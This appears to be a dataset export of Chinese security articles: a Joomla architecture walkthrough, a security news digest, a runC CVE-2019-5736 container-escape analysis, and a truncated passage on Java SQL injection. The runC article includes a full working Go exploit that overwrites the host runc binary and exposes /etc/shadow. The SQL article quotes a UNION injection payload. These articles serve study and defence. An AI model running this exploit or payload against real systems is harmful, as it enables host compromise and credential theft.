text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 【技术分享】Joomla 框架的程序执行流程及目录结构分析
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[Lucifaer](http://bobao.360.cn/member/contribute?uid=2789273957)
预估稿费：400RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**0x00 文件目录介绍**
**目录**
administrator/ # 管理后台目录
bin/ # 该文件夹存放一些基于Joomla框架开发的一些实用的脚本
cache/ # 文件缓存目录
cli/ # 该文件夹存放一些终端使用的命令，用于操作当前的站点
components/ # Joomla组件目录
images/ # 网站内容使用的媒体文件目录，后台有对此文件夹进行管理的功能
includes/ # 运行Joomla需要包含的基础文件
language/ # 语言目录，多语言的翻译都存放在这里
layouts/ # 应该是控制布局的，没有注意过是哪个版本加上的，也没研究过，等有时间了研究一下再写
libraries/ # Joomla使用的库文件
logs/ # 日志目录，一些异常处理都会存放在这个文件夹里，例如后台登录时输入错误的用户名和密码
media/ # Joomla使用到的媒体文件，主要是页面渲染会用到的，存放的内容跟images目录有区别，而且后台是没有对其进行管理的功能的
modules/ # Joomla模块目录
plugins/ # Joomla插件目录
templates/ # Joomla站点模板目录
tmp/ # 临时目录，如安装组件或模块时残留的解压文件等
**文件**
configuration.php # Joomla配置文件
htaccess.txt # 帮助我们生成.htaccess
index.php # Joomla单入口文件
LICENSE.txt # 不多叙述
README.txt # 不多叙述
robots.txt # 搜索引擎爬行使用的文件
web.config.txt # 据说是IIS使用的文件
**0x01 Joomla的MVC**
在Joomla中并不像国内的一些cms一样，主要功能的实现放在组件中，下面就说一说Joomla中的四个非常重要的东西：组件、模块、控制器、视图。
**1\. 组件**
在Joomla中，组件可以说是最大的功能模块。一个组件分为两部分：前台和后台。后台主要用于对对应内容的管理，前台主要用于前台页面的呈现和响应各种操作。其文件目录分别对应于joomla/administrator/components和joomla/components。组件有自己的命名规则，文件夹名须命名为com_组件名，组件的访问也是单文件入口，入口文件为com_组件名/组件名.php。如components/com_content/content.php。
其中 **option=com_content &view=article&id=7**，它会先调用 **content.php**
，再由router.php路由到article视图，再调用相应的Model层取出ID=7的分类信息，渲染之后呈现在模板中的jdoc:include
type=”component位置上。
**2\. 模块**
与组件（Component）不同的是，模块（Module）是不能通过URL直接访问的，而是通过后台对模块的设置，根据菜单ID（URL中的Itemid）来判断当前页面应该加载哪些模块。所以它主要用于显示内容，而一些表单提交后的处理动作一般是放在组件中去处理的。因此，模块通常都是比较简单的程序，文件结构也很清晰易懂，如modules/mod_login模块中的文件结构如下：
modlogin.xml # 模块配置及安装使用的文件
mod_login.php # 模块入口文件，以mod模块名.php命名，可以看作Controller层
helper.php # 辅助文件，通常数据操作会放在这里，可以看作Model层
tmpl/ # 模板文件夹，View层
| default.php # 默认模板
| default_logout.php # 退出登录模板
**2.1 模块调用的另外一个参数**
在模板的首页文件中，我们会看到调用模块时有如下代码
jdoc:include type="modules" name="position-7" style="well"
这里多了一个style参数，这个其实是一个显示前的预处理动作，在当前模板文件夹中的html/modules.php中定义，打开这个文件我们就能看到有一个modChrome_well的函数，程序不是很复杂，只是在显示前对html做了下预处理。
**2.2 模块的另外一种调用方法**
有时候会需要在程序里调用一个模块来显示，可以用以下程序来调用
该程序会显示所有设置在position位置上的模块，当然也会根据菜单ID来判断是否加载
$modules = & JModuleHelper::getModules('position');
foreach($modules as $module){
echo JModuleHelper::renderModule($module, array('style' = 'well'))
}
**3.模板**
个人理解，模板就相当于输出的一种格式。也就是在后端已经调用了相关的数据，准备在前端以什么样的格式输出。
在Joomla中，一个页面只能有一个主要内容（组件：component），其他均属于模块。如图：
如果从代码来分析的话，打开index.php（组件下的index.php），除了简单的HTML和php外，还可以看到以下几类语句：
jdoc:include type="head"
jdoc:include type="modules" name="position-1" style="none"
jdoc:include type="message"
jdoc:include type="component"
这些是Joomla引入内容的方式，Joomla模板引擎会解析这些语句，抓取对应的内容渲染到模板中，组成一个页面。type指明要包含的内容的类型：
head # 页面头文件（包括css/javascript/meta标签），注意这里不是指网站内容的头部
modules # 模块
message # 提示消息
component # 组件
从代码中也可以看出，页面里只有一个component，同时有许多个modules。事实上message也是一个module，只是是一个比较特殊的module。
以http://127.0.0.1:9999/index.php?option=com_content&view=article&id=7:article-en-gb&catid=10&lang=en&Itemid=116为例从URL来分析模板内容的话，可以清晰的看出：在Joomla的URL中，重要的信息通常包含两部分：组件信息、菜单ID：
option=com_content # 该页面内要使用的组件，后台对应到Components中，文件使用JOOMLAROOT components中的文件
view=article # 组件内要使用的view
id=7 # view对应的ID
Itemid=116 # 该页面对应的菜单ID
所以上面URL的意思就是告诉Joomla：当前页面是要显示一个文章分类页面，分类ID是7，对应的菜单ID是116。
最后附一张图，帮助理解：
**0x02 整体大致运行流程**
**1\. 框架核心代码的初始化**
/includes/defines.php定义各个功能模块的目录
/includes/framework.php整个框架调度的核心代码与cms运行的核心代码，框架初始化的入口。
/libraries/import.legacy.php开启自动加载类，并向注册队列注册cms核心类。
调用了JLoader中的setup方法；spl_autoload_register使其进行类的初始定义。
spl_autoload_register()是PHP自带的系统函数，其主要完成的功能就是注册给定的函数作为__autoload的实现。即将函数注册到SPL__autoload函数队列中。如果该队列尚未激活，则激活它们。
/libraries/loader.php定义了JLoader实现类的注册，加载，相关文件的包含等操作。
其中load方法从注册队列中寻找需要被自动加载的类，并包含该注册队列的值。
_autoload方法从注册队列中的prefixes的J中选取需要加载的类目录的前缀。[0]=>/joomla/libraries/joomla，[1]=>/joomla/libraries/legacy
_load方法完成了绝对路径的拼接，及相关文件的包含
/cms.php将PHP
Composer生成的加载器autoload_static.php、/autoload_namespaces.php、/autoload_psr4.php、/autoload_classmap.php中的内容全部导入一个$loader的数组，之后将该数组中的前缀及所有类，注册到注册队列中，以方便使用。而这些类，都是针对于cms本身的操作的。接着开始设置异常处理以及一个消息处理器（日志）。最后，将一些注册类的名字规范为autoloader的规则。
configuration.php配置项
之后设置报错的格式
最终的注册队列：
**2\. 设置分析器，记下使用方法并在分析器后加标记对应代码**
对应代码：
JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null;
**3\. 实例化应用程序**
对应代码：
$app = JFactory::getApplication('site');
在这边可能会有疑问，为什么会直接实例化一个之前没有引入的类（同样也没有包含相应的文件）。
还记得我们之前看到过的自动加载类么，在这里，我们首先发现没有在classmap中寻找到，之后在/libraries目录，以/libraries/cms/目录为查找目录，在该目录查找是否存在factory.php文件，若找到，则将该文件包含进来。
在factory.php中，会首先检查我们是否已经创建了一个JApplicationCms对象，如果未创建该对象，则创建该对象。最后创建为JApplicationSite，并将这个对象实例化（对象位于/libraries/cms/application/site.php）。
在该文件中，首先注册了application（这边是site）的名称与ID，之后执行父构造函数和“祖父“构造函数。
为了清晰的说明Joomla web应用的实例化过程，我们列一个树状图来看
|-web.php “祖父”
|--cms.php 父
|---site.php 子
web.php
完成了应用的最基础功能，包括：
返回对全局JApplicationWeb对象的引用，仅在不存在的情况下创建它
初始化应用程序
运行应用程序
对模板的渲染（文档缓冲区推入模板的过程占位符，从文档中检索数据并将其推入应用程序响应缓冲区。）
检查浏览器的接受编码，并尽可能的将发送给客户端的数据进行压缩。
将应用程序响应发送给客户端
URL的重定向
应用程序配置对象的加载
设置/获取响应的可缓存状态
设置响应头的获取、发送与设置等基本功能
首先在web.php中实例化了JInput对象。并将config指向JoomlaRegistryRegistry。接着，创建了一个应用程序程序的网络客户端，用于进行网络请求的操作。同时将已经指向的config导入，设置执行时间，初始化请求对象，并配置系统的URIs。
在cms.php中实例化了调度器，主要完成对于组件及模块的调度。并对session进行设置和初始化。
完成了以上所有的配置后，将已经配置完毕的应用对象返回到/joomla/libraries/joomla/factory.php中。完成应用对象的初始化。
**4\. 执行应用**
调用web.php中的execute()方法完成应用的执行。
**0x03 说一下我们的关心的路由问题**
那么，我们的路由在框架中到底是怎样解析的呢？
其实在跟实例化应用的时候，当执行/joomla/libraries/joomla/application/web.php构造函数时，我们就可以看到Joomla对于URI的处理了：
$this->loadSystemUris();
跟进看一下loadSystemUris方法，不难看到这一句：
跟进detectRequestUri，发现首先判断了URI是否是http还是https，之后看到这句：
if (!empty($_SERVER['PHP_SELF']) && !empty($_SERVER['REQUEST_URI']))
{
// The URI is built from the HTTP_HOST and REQUEST_URI environment variables in an Apache environment.
$uri = $scheme . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
}
就是在这里将$_SERVER['REQUEST_URI']中的相对路径与$scheme . $_SERVER['HTTP_HOST']拼接成了完整的URI：
完成了完整路径获取后，开始修改对象的属性，将新获得的request.uri添加进入配置列表中：
下一步，就是遍历配置列表，查看是否已经设置了显示URI，在配置列表中键值为site_uri。显然我们现在并没有设置该选项：
之后完成的操作就是要设置该显示URI。我们继续跟进一下：
跟进到joomla/libraries/vendor/joomla/uri/src/UriHelper.php的时候，我们稍停一下，看到进入了parse_url方法中。在这个方法中，首先对传入的URL进行了双重过滤，之后利用PHP自带方法parse_url，对URL进行了分割处理并保存到一个数组中，接着返回该数组：
最后的处理结果为：
option=com_content&view=article&id=7:article-en-gb&catid=10&lang=en&Itemid=116
处理完我们的显示URL后，在调用joomla/libraries/cms/application/cms.php中的execute方法时，在调用doExecute方法的时候，会使用joomla/libraries/cms/application/site.php文件中的route方法，这个方法将路由到我们application中。
在joomla/libraries/cms/application/cms.php中的route方法中，我们首先获取了全部的request
URI，之后在getRouter方法中初始化并实例化了joomla/libraries/cms/router/router.php中的JRouter类，该类完成了对我们路由参数的识别与划分：
最后在joomla/libraries/cms/router/site.php中的parse方法中完成了相关组件的路由：
可以明显的看到，在
$component = $this->JComponentHelper::getComponents()
后，$component的值：
对比components/目录下的组件，发现已经将所有的组件遍历，并保存在数组中。
接着遍历该数组，对每个组件设置本地路由，并包含响应的文件，从而完成路由控制。
**0x04 总结一下**
Joomla整体的运行思路可以简单的归结为一下几点：
**框架核心代码的初始化：**
关键是初始化了类自动加载器与消息处理器，并完成了配置文件的配置与导入。
完成了这一步，就可以通过类的自动加载器来实现核心类的查找与调用。自动加载器成为了cms的一个工具。
**实例化应用程序：**
这一步可以简单的理解为对Joomla接下来要提供的web服务的预加，与定义。
**应用的执行：**
这一步基于上面两步的准备，将执行应用。从代码上来看可以容易的总结出来一个规律：
预加载“执行之前需要做的事件”
执行应用
执行“执行之后要做的事件”
基本上都是以这样的形式来完成调用以及运行的。
以上都是小菜个人看法，可能有不准确或者非常模糊的地方，希望大牛们多给建议… | 社区文章 |
# 3月17日安全热点 – 热门文本编辑器的插件可帮助黑客提升权限
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
专家解释称，AMD的漏洞难以利用，并不构成对开发的直接风险
<https://www.bleepingcomputer.com/news/security/amd-flaws-pose-no-immediate-risk-of-exploitation-says-independent-reviewer/>
新型勒索软件Zenis加密您的数据并删除备份
<https://www.bleepingcomputer.com/news/security/zenis-ransomware-encrypts-your-data-and-deletes-your-backups/>
黑客可以通过黑进文本编辑器从而提升权限
在最近一系列利用漏洞插件的攻击之后，SafeBreach的研究人员针对unix系统检查了6种流行的可扩展文本编辑器。
<http://securityaffairs.co/wordpress/70333/hacking/text-editors-hacking.html>
<https://thehackernews.com/2018/03/text-editors-extensibility.html>
Android恶意软件拦截用户打到银行的电话并重定向到骗子的号码
FakeBank Android恶意软件的新变种具有包括拦截受害者向其银行拨打电话以及将用户重定向到骗子的能力。
<https://www.bleepingcomputer.com/news/security/android-malware-intercepts-phone-calls-to-connect-banking-users-to-scammers/>
通过链接SAP NetWeaver AS Java中的两个漏洞来攻击SAP CRM
<http://securityaffairs.co/wordpress/70311/hacking/hacking-sap-crm.html>
TDS系统恐成网络犯罪领域的下一个大赚钱者
<https://www.bleepingcomputer.com/news/security/tds-systems-are-the-next-big-money-makers-in-the-land-of-cybercrime/>
## 技术类
MsraMiner: 潜伏已久的挖矿僵尸网络
<http://blog.netlab.360.com/msraminer-qian-fu-yi-jiu-de-wa-kuang-jiang-shi-wang-luo/>
我可以访问企业无线网络的前五种方法（Lo0tBo0ty KARMA版）
<https://medium.com/@adam.toscher/top-5-ways-i-gained-access-to-your-corporate-wireless-network-lo0tbo0ty-karma-edition-f72e7995aef2>
Stealthy Dopant-Level Hardware Trojans
<https://sharps.org/wp-content/uploads/BECKER-CHES.pdf>
TA17-293A——针对能源和其他重要基础设施部门的高级持续威胁活动
<https://www.us-cert.gov/ncas/alerts/TA17-293A>
Patch Cobalt Strike3.8 去除后门并修补功能
<https://xianzhi.aliyun.com/forum/topic/2170>
2017年百度安全技术精选
<https://mp.weixin.qq.com/s/6evxKjAzc3sweIQrbC3QrA>
JBoss引起的内网渗透-2
<http://rcoil.me/2018/03/JBoss%E5%BC%95%E8%B5%B7%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-2/>
网络犯罪调查与电子数据取证
<https://www.sec-un.org/%E7%BD%91%E7%BB%9C%E7%8A%AF%E7%BD%AA%E8%B0%83%E6%9F%A5%E4%B8%8E%E7%94%B5%E5%AD%90%E6%95%B0%E6%8D%AE%E5%8F%96%E8%AF%81/>
京东海量运维的演进
<https://mp.weixin.qq.com/s/V0hGKMvgnp3dq7BsFLiNhg>
ESMAndroid DRM服务缓冲区溢出
<https://cxsecurity.com/issue/WLB-2018030133>
安装配置指南-ArcSight实战系列之三
<https://mp.weixin.qq.com/s/e31X64Xg6pUoM_xysiDP6Q>
Branca Token——经过身份验证的加密API令牌
<https://github.com/tuupola/branca-spec/> | 社区文章 |
**作者：时钟@RainSec
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 前置技术
### Magic Link
/proc/目录下存在很多的链接文件，但是在Linux
也存在一种特殊的链接文件，这种文件的大小为0，我们知道普通的链接文件的大小等于链接目标的文件路径长度，但是Magic
Link的大小为0，它们在打开方式上面也存在差别，普通链接文件会解析出链接文件的路径然后进行打开操作，但是Magic
LInk的话不会这样，它会调用内核专门的处理函数，然后返回目标文件的文件描述符。
### 匿名文件
Linux [Anonymous Files](https://stackoverflow.com/questions/21617539/what-exactly-are-anonymous-files)，也叫匿名文件，匿名文件和普通的文件十分类似，可以被定义，修改，写入，读取等等，但是和普通文件不同的是它并不是一个实体的文件，当用户使用memfd_create创建一个匿名文件的时候会返回一个文件描述符，一旦对这个文件描述符的所有引用都被丢弃的时候，该匿名文件就会被销毁，而且在该文件的整个生命周期中都是存在于内存的RAM当中，并不具备实体的文件。
### mount namespace是如何实现的？
首先要了解在内核进程结构体[task_struct](https://elixir.bootlin.com/linux/latest/source/include/linux/sched.h#L723)里面存在一个nsproxy成员：
struct task_struct {
.........
/* Namespaces: */
struct nsproxy *nsproxy;
.......
}
nsproxy结构体如下：
struct nsproxy {
atomic_t count;
struct uts_namespace *uts_ns;
struct ipc_namespace *ipc_ns;
struct mnt_namespace *mnt_ns;
struct pid_namespace *pid_ns_for_children;
struct net *net_ns;
struct time_namespace *time_ns;
struct time_namespace *time_ns_for_children;
struct cgroup_namespace *cgroup_ns;
};
可以看到各种不同的namespace都有自己的相关结构体，但是本文着重介绍mount
namespace相关实现，因此通过追踪内核中进程的创建过程发现mount namespace的实现如下：
内核函数调用链：
kernel_clone(_do_fork) -> copy_process
在[copy_process](https://elixir.bootlin.com/linux/latest/source/kernel/fork.c#L1930)中发现大量和namespace相关的信息：
static __latent_entropy struct task_struct *copy_process(
struct pid *pid,
int trace,
int node,
struct kernel_clone_args *args)
{
int pidfd = -1, retval;
struct task_struct *p;
struct multiprocess_signals delayed;
struct file *pidfile = NULL;
u64 clone_flags = args->flags;
struct nsproxy *nsp = current->nsproxy;
/*
* Don't allow sharing the root directory with processes in a different
* namespace
*/
if ((clone_flags & (CLONE_NEWNS|CLONE_FS)) == (CLONE_NEWNS|CLONE_FS))
return ERR_PTR(-EINVAL);
if ((clone_flags & (CLONE_NEWUSER|CLONE_FS)) == (CLONE_NEWUSER|CLONE_FS))
return ERR_PTR(-EINVAL);
......
}
可以看到其实进程间的namespace可能具备某种继承关系，因此自然联想到系统0号进程，查阅相关资料发现存在init_task，它在内核刚启动的时候就进行了[初始化](https://elixir.bootlin.com/linux/latest/source/init/main.c#L938)，而且在[相关结构体](https://elixir.bootlin.com/linux/latest/source/init/init_task.c#L123)里面也确实找到了对于nsproxy的初始化：
......
.nsproxy = &init_nsproxy,
......
init_nsproxy的相关定义如下：
struct nsproxy init_nsproxy = {
.count = ATOMIC_INIT(1),
.uts_ns = &init_uts_ns,
#if defined(CONFIG_POSIX_MQUEUE) || defined(CONFIG_SYSVIPC)
.ipc_ns = &init_ipc_ns,
#endif
.mnt_ns = NULL,
.pid_ns_for_children = &init_pid_ns,
#ifdef CONFIG_NET
.net_ns = &init_net,
#endif
#ifdef CONFIG_CGROUPS
.cgroup_ns = &init_cgroup_ns,
#endif
#ifdef CONFIG_TIME_NS
.time_ns = &init_time_ns,
.time_ns_for_children = &init_time_ns,
#endif
};
可以发现，mnt_ns的相关初始化函数是NULL，因此mnt_ns并不继承父进程命名空间，回过头来看之前的copy_namespaces函数，发现其中存在[create_new_namespaces](https://elixir.bootlin.com/linux/latest/source/kernel/nsproxy.c#L67)函数调用，在其中发现mnt_namespace确实是通过[copy_mnt_ns](https://elixir.bootlin.com/linux/latest/source/fs/namespace.c#L3400)函数新创建的，至此我们已经大致了解了整个mnt_namespace的实现和创建流程。同时，通过copy_mnt_ns函数大致了解到，其实就是提供了独立的文件系统视图，设置各种挂载点，因此只要帮助绕过视图的影响就可以绕过mount
namespace，所以符号链接攻击一直也是容器的痛点问题之一。
### runC nsenter模块
在查看runC源码的时候发现nsenter模块，改模块的主要实现使用C语言写的，而且只在init.go的import中被引入，因此它的执行顺序是很靠前的。
package nsenter
/*
#cgo CFLAGS: -Wall
extern void nsexec();
void __attribute__((constructor)) init(void) {
nsexec();
}
*/
import "C"
在import "C"前面紧跟注释是cgo的一种特殊语法，注释里面包含的都是c语言的语法
## 漏洞分析
在容器中执行docker run或者docker exec的时候，最终结果都是runC驱动执行用户想要执行的命令。同时，分析runC源码发现，无论是runC
run还是runC exec，一个比较核心的思想就是创建一个runner结构体，然后调用其实现的run()函数：
func execProcess(context *cli.Context) (int, error) {
container, err := getContainer(context)
if err != nil {
return -1, err
}
status, err := container.Status()
if err != nil {
return -1, err
}
if status == libcontainer.Stopped {
return -1, errors.New("cannot exec in a stopped container")
}
if status == libcontainer.Paused && !context.Bool("ignore-paused") {
return -1, errors.New("cannot exec in a paused container (use --ignore-paused to override)")
}
path := context.String("process")
if path == "" && len(context.Args()) == 1 {
return -1, errors.New("process args cannot be empty")
}
state, err := container.State()
if err != nil {
return -1, err
}
bundle := utils.SearchLabels(state.Config.Labels, "bundle")
p, err := getProcess(context, bundle)
if err != nil {
return -1, err
}
cgPaths, err := getSubCgroupPaths(context.StringSlice("cgroup"))
if err != nil {
return -1, err
}
r := &runner{
enableSubreaper: false,
shouldDestroy: false,
container: container,
consoleSocket: context.String("console-socket"),
detach: context.Bool("detach"),
pidFile: context.String("pid-file"),
action: CT_ACT_RUN,
init: false,
preserveFDs: context.Int("preserve-fds"),
subCgroupPaths: cgPaths,
}
return r.run(p)
}
不过在此之前都会通过loadFactory类来创建基础的libcontainer以便和容器进行交互，在exec.go中，getContainer的一个重要功能就是创建libccontainer实例：
// loadFactory returns the configured factory instance for execing containers.
func loadFactory(context *cli.Context) (libcontainer.Factory, error) {
root := context.GlobalString("root")
abs, err := filepath.Abs(root)
if err != nil {
return nil, err
}
intelRdtManager := libcontainer.IntelRdtFs
// We resolve the paths for {newuidmap,newgidmap} from the context of runc,
// to avoid doing a path lookup in the nsexec context. TODO: The binary
// names are not currently configurable.
newuidmap, err := exec.LookPath("newuidmap")
if err != nil {
newuidmap = ""
}
newgidmap, err := exec.LookPath("newgidmap")
if err != nil {
newgidmap = ""
}
return libcontainer.New(abs, intelRdtManager,
libcontainer.CriuPath(context.GlobalString("criu")),
libcontainer.NewuidmapPath(newuidmap),
libcontainer.NewgidmapPath(newgidmap))
}
在结尾的New函数中，可以看到runC存储了一个MagicLink作为InitPath:
// New returns a linux based container factory based in the root directory and
// configures the factory with the provided option funcs.
func New(root string, options ...func(*LinuxFactory) error) (Factory, error) {
if root != "" {
if err := os.MkdirAll(root, 0o700); err != nil {
return nil, err
}
}
l := &LinuxFactory{
Root: root,
InitPath: "/proc/self/exe",
InitArgs: []string{os.Args[0], "init"},
Validator: validate.New(),
CriuPath: "criu",
}
for _, opt := range options {
if opt == nil {
continue
}
if err := opt(l); err != nil {
return nil, err
}
}
return l, nil
}
在接下来的过程中会调用该InitPath，并且参数为init，相当于执行了runC
init命令，在该命令中采用cgo的形式导入C语言nstnter进行命名空间的设置：
package main
import (
"os"
"runtime"
"strconv"
"github.com/opencontainers/runc/libcontainer"
_ "github.com/opencontainers/runc/libcontainer/nsenter"
"github.com/sirupsen/logrus"
)
......
nsenter如下：
package nsenter
/*
#cgo CFLAGS: -Wall
extern void nsexec();
void __attribute__((constructor)) init(void) {
nsexec();
}
*/
import "C"
可以看到调用了nsexec()函数，该函数在go
runtime之前进行调用，函数的主要作用就是解析之前父进程发送的netlink格式的配置信息，然后通过设置usernamespace并创建子进程，然后子进程设置其他一些namespace并通过创建孙进程使相关namespaces生效，这个孙进程其实就是容器中的init进程，不过回想这个过程，runC通过cmd.Start()开启一个子进程执行runC
init，在runC init的nsenter包执行过程中，会首先设置自己的user namespace和pid
namespace，这就使得在该过程中容器内本身存在的进程可以发现runC进程，因此：
void nsexec(void)
{
int pipenum;
jmp_buf env;
int syncpipe[2];
struct nlconfig_t config = {0};
/*
* If we don't have an init pipe, just return to the go routine.
* We'll only get an init pipe for start or exec.
*/
pipenum = initpipe();
if (pipenum == -1)
return;
/* Parse all of the netlink configuration. */
nl_parse(pipenum, &config);
/* clone(2) flags are mandatory. */
if (config.cloneflags == -1)
bail("missing clone_flags");
/* Pipe so we can tell the child when we've finished setting up. */
if (pipe(syncpipe) < 0)
bail("failed to setup sync pipe between parent and child");
/* Set up the jump point. */
if (setjmp(env) == JUMP_VAL) {
/*
* We're inside the child now, having jumped from the
* start_child() code after forking in the parent.
*/
uint8_t s = 0;
int consolefd = config.consolefd;
/* Close the writing side of pipe. */
close(syncpipe[1]);
/* Sync with parent. */
if (read(syncpipe[0], &s, sizeof(s)) != sizeof(s) || s != SYNC_VAL)
bail("failed to read sync byte from parent");
if (setsid() < 0)
bail("setsid failed");
if (setuid(0) < 0)
bail("setuid failed");
if (setgid(0) < 0)
bail("setgid failed");
if (setgroups(0, NULL) < 0)
bail("setgroups failed");
if (consolefd != -1) {
if (ioctl(consolefd, TIOCSCTTY, 0) < 0)
bail("ioctl TIOCSCTTY failed");
if (dup3(consolefd, STDIN_FILENO, 0) != STDIN_FILENO)
bail("failed to dup stdin");
if (dup3(consolefd, STDOUT_FILENO, 0) != STDOUT_FILENO)
bail("failed to dup stdout");
if (dup3(consolefd, STDERR_FILENO, 0) != STDERR_FILENO)
bail("failed to dup stderr");
}
/* Free netlink data. */
nl_free(&config);
/* Finish executing, let the Go runtime take over. */
return;
}
/* Run the parent code. */
start_child(pipenum, &env, syncpipe, &config);
/* Should never be reached. */
bail("should never be reached");
}
如果，在runc启动之前，容器内部的进程可以通过/proc/目录观察到runc相关的进程，那么就可以通过/proc/runc-pid/exe获得runc具体的路径，这个exe文件是Magic
Link文件，这就意味着这个文件的打开过程是调用内核里面专门的处理函数，不是想普通的链接文件那样找到目标链接文件打开，这其实就帮助我们绕过了mnt命名空间和chroot对容器中文件系统资源的限制。
如此我们就可以覆盖掉原本的runc二进制文件为我们的恶意代码，那么当用于下一次执行docker exec或者docker
run之类需要调用runc的命令的时候就有可能会调用我们写入的恶意文件从而实现宿主机上面的恶意代码执行从而实现容器逃逸。
### poc
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"
func main() {
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}
POC思路：
1. 首先覆盖容器中的/bin/sh为#!/proc/self/exe。
2. 遍历/proc下的目录找到runC相关进程
3. 打开/proc下相关的exe文件获得fd
4. 循环写入 fd，直到runC解除占用，成功写入
5. runc最后将执行用户通过docker exec指定的/bin/sh，它的内容在第1步中已经被替换成#!/proc/self/exe，因此实际上将执行宿主机上的runc，而runc也已经在第4部中被我们覆盖掉了。
## 漏洞补丁
具体补丁详情：<https://github.com/opencontainers/runc/commit/6635b4f0c6af3810594d2770f662f34ddc15b40d>
void nsexec(void)
{
int pipenum;
@@ -549,6 +552,14 @@ void nsexec(void)
if (pipenum == -1)
return;
/*
* We need to re-exec if we are not in a cloned binary. This is necessary
* to ensure that containers won't be able to access the host binary
* through /proc/self/exe. See CVE-2019-5736.
*/
if (ensure_cloned_binary() < 0)
bail("could not ensure we are a cloned binary");
/* Parse all of the netlink configuration. */
nl_parse(pipenum, &config);
可以看到主要是增加了一个ensure_cloned_binary()函数的判断其中主要的逻辑是通过memfd_create来将让runc在容器内执行操作前首先将自己复制成为一个匿名文件，如此在可以达到原来效果的同时，/proc/self/exe无法触达到原本的
runC二进制文件。
## 思考
为了对容器进行有效控制通过宿主机进行容器内外的进程切换其实是必然的，但是稍有不慎就会导致容器信息外带在进程的上下文中，runC的这个漏洞是一个例子还有一个例子就是docker
cp漏洞，它本身也是因为docker-tar进程将相关的共享库内容外带到了宿主机导致了容器逃逸，因此在考虑容器安全问题时，对这些危险进程的监控也是十分必要的。
* * * | 社区文章 |
## 0x00 前言
我们知道代码审计Java的SQL注入主要有两点：参数可控和SQL语句可拼接（没有预编译）。并且我们也清楚修复SQL注入的方式就是预编译，但是可能我们并不清晰内部预编译的具体实现。本文主要从代码层面深入分析三种Java不同数据库框架下的SQL注入以及预编译。
本次实验代码：<https://github.com/R17a-17/JavaVulnSummary/tree/main/owasp/src/main/java/com/r17a/commonvuln/injection/sqli>
## 0x01 JDBC SQLi
### 不使用占位符拼接情况分析
Statement statement = connection.createStatement();
String sql = "select * from user where id=" + value;
ResultSet resultSet = statement.executeQuery(sql);
不使用占位符时，输入的内容和sql拼接形成最终的sql语句：
### 预编译情况：
String sql = "select * from user where id=?";
PreparedStatement preparedStatement = connection.prepareStatement(sql);
preparedStatement.setString(1,value);
ResultSet resultSet = preparedStatement.executeQuery();
预编译会在传入的字符串前后添加`'`，然后再进行拼接，保证了输入的字符串在SQL语句中是数值而不是关键字。
最终在执行的时候`select * from user where id='2 and 1=2 union select * from user'`。
到这里我们肯定会想就算在两边加了`'`，也可以在value中添加`'`来闭合绕过：
2' and 1=2 union select * from user where '1'='1
然而事实并非那么简单，JDBC在`ClientPreparedQueryBindings.setString()`中对一些特殊符号包括`'`做了转义处理，因此预编译可以防止SQL注入：
## 0x02 Mybatis SQLi
### Mybatis解析执行过程
Mybatis解析执行过程如下图：
以查询SQL分析，主要步骤如下：
1. SqlSession创建过程：`SqlSessionFactoryBuilder().build(inputStream)`创建一个SqlSession，创建的时候会进行配置文件解析生成Configuration属性实例，解析时会将mapper解析成MapperStatement加到Configuration中，MapperStatement是执行SQL的必要准备，SqlSource是MapperStatement的属性，实例化前会先创建动态和非动态SqlSource即DynamicSqlSource和RawSqlSource，DynamicSqlSource对应解析`$`以及动态标签如`foreach`，RawSqlSource创建时解析`#`并将`#{}`换成占位符`?`；
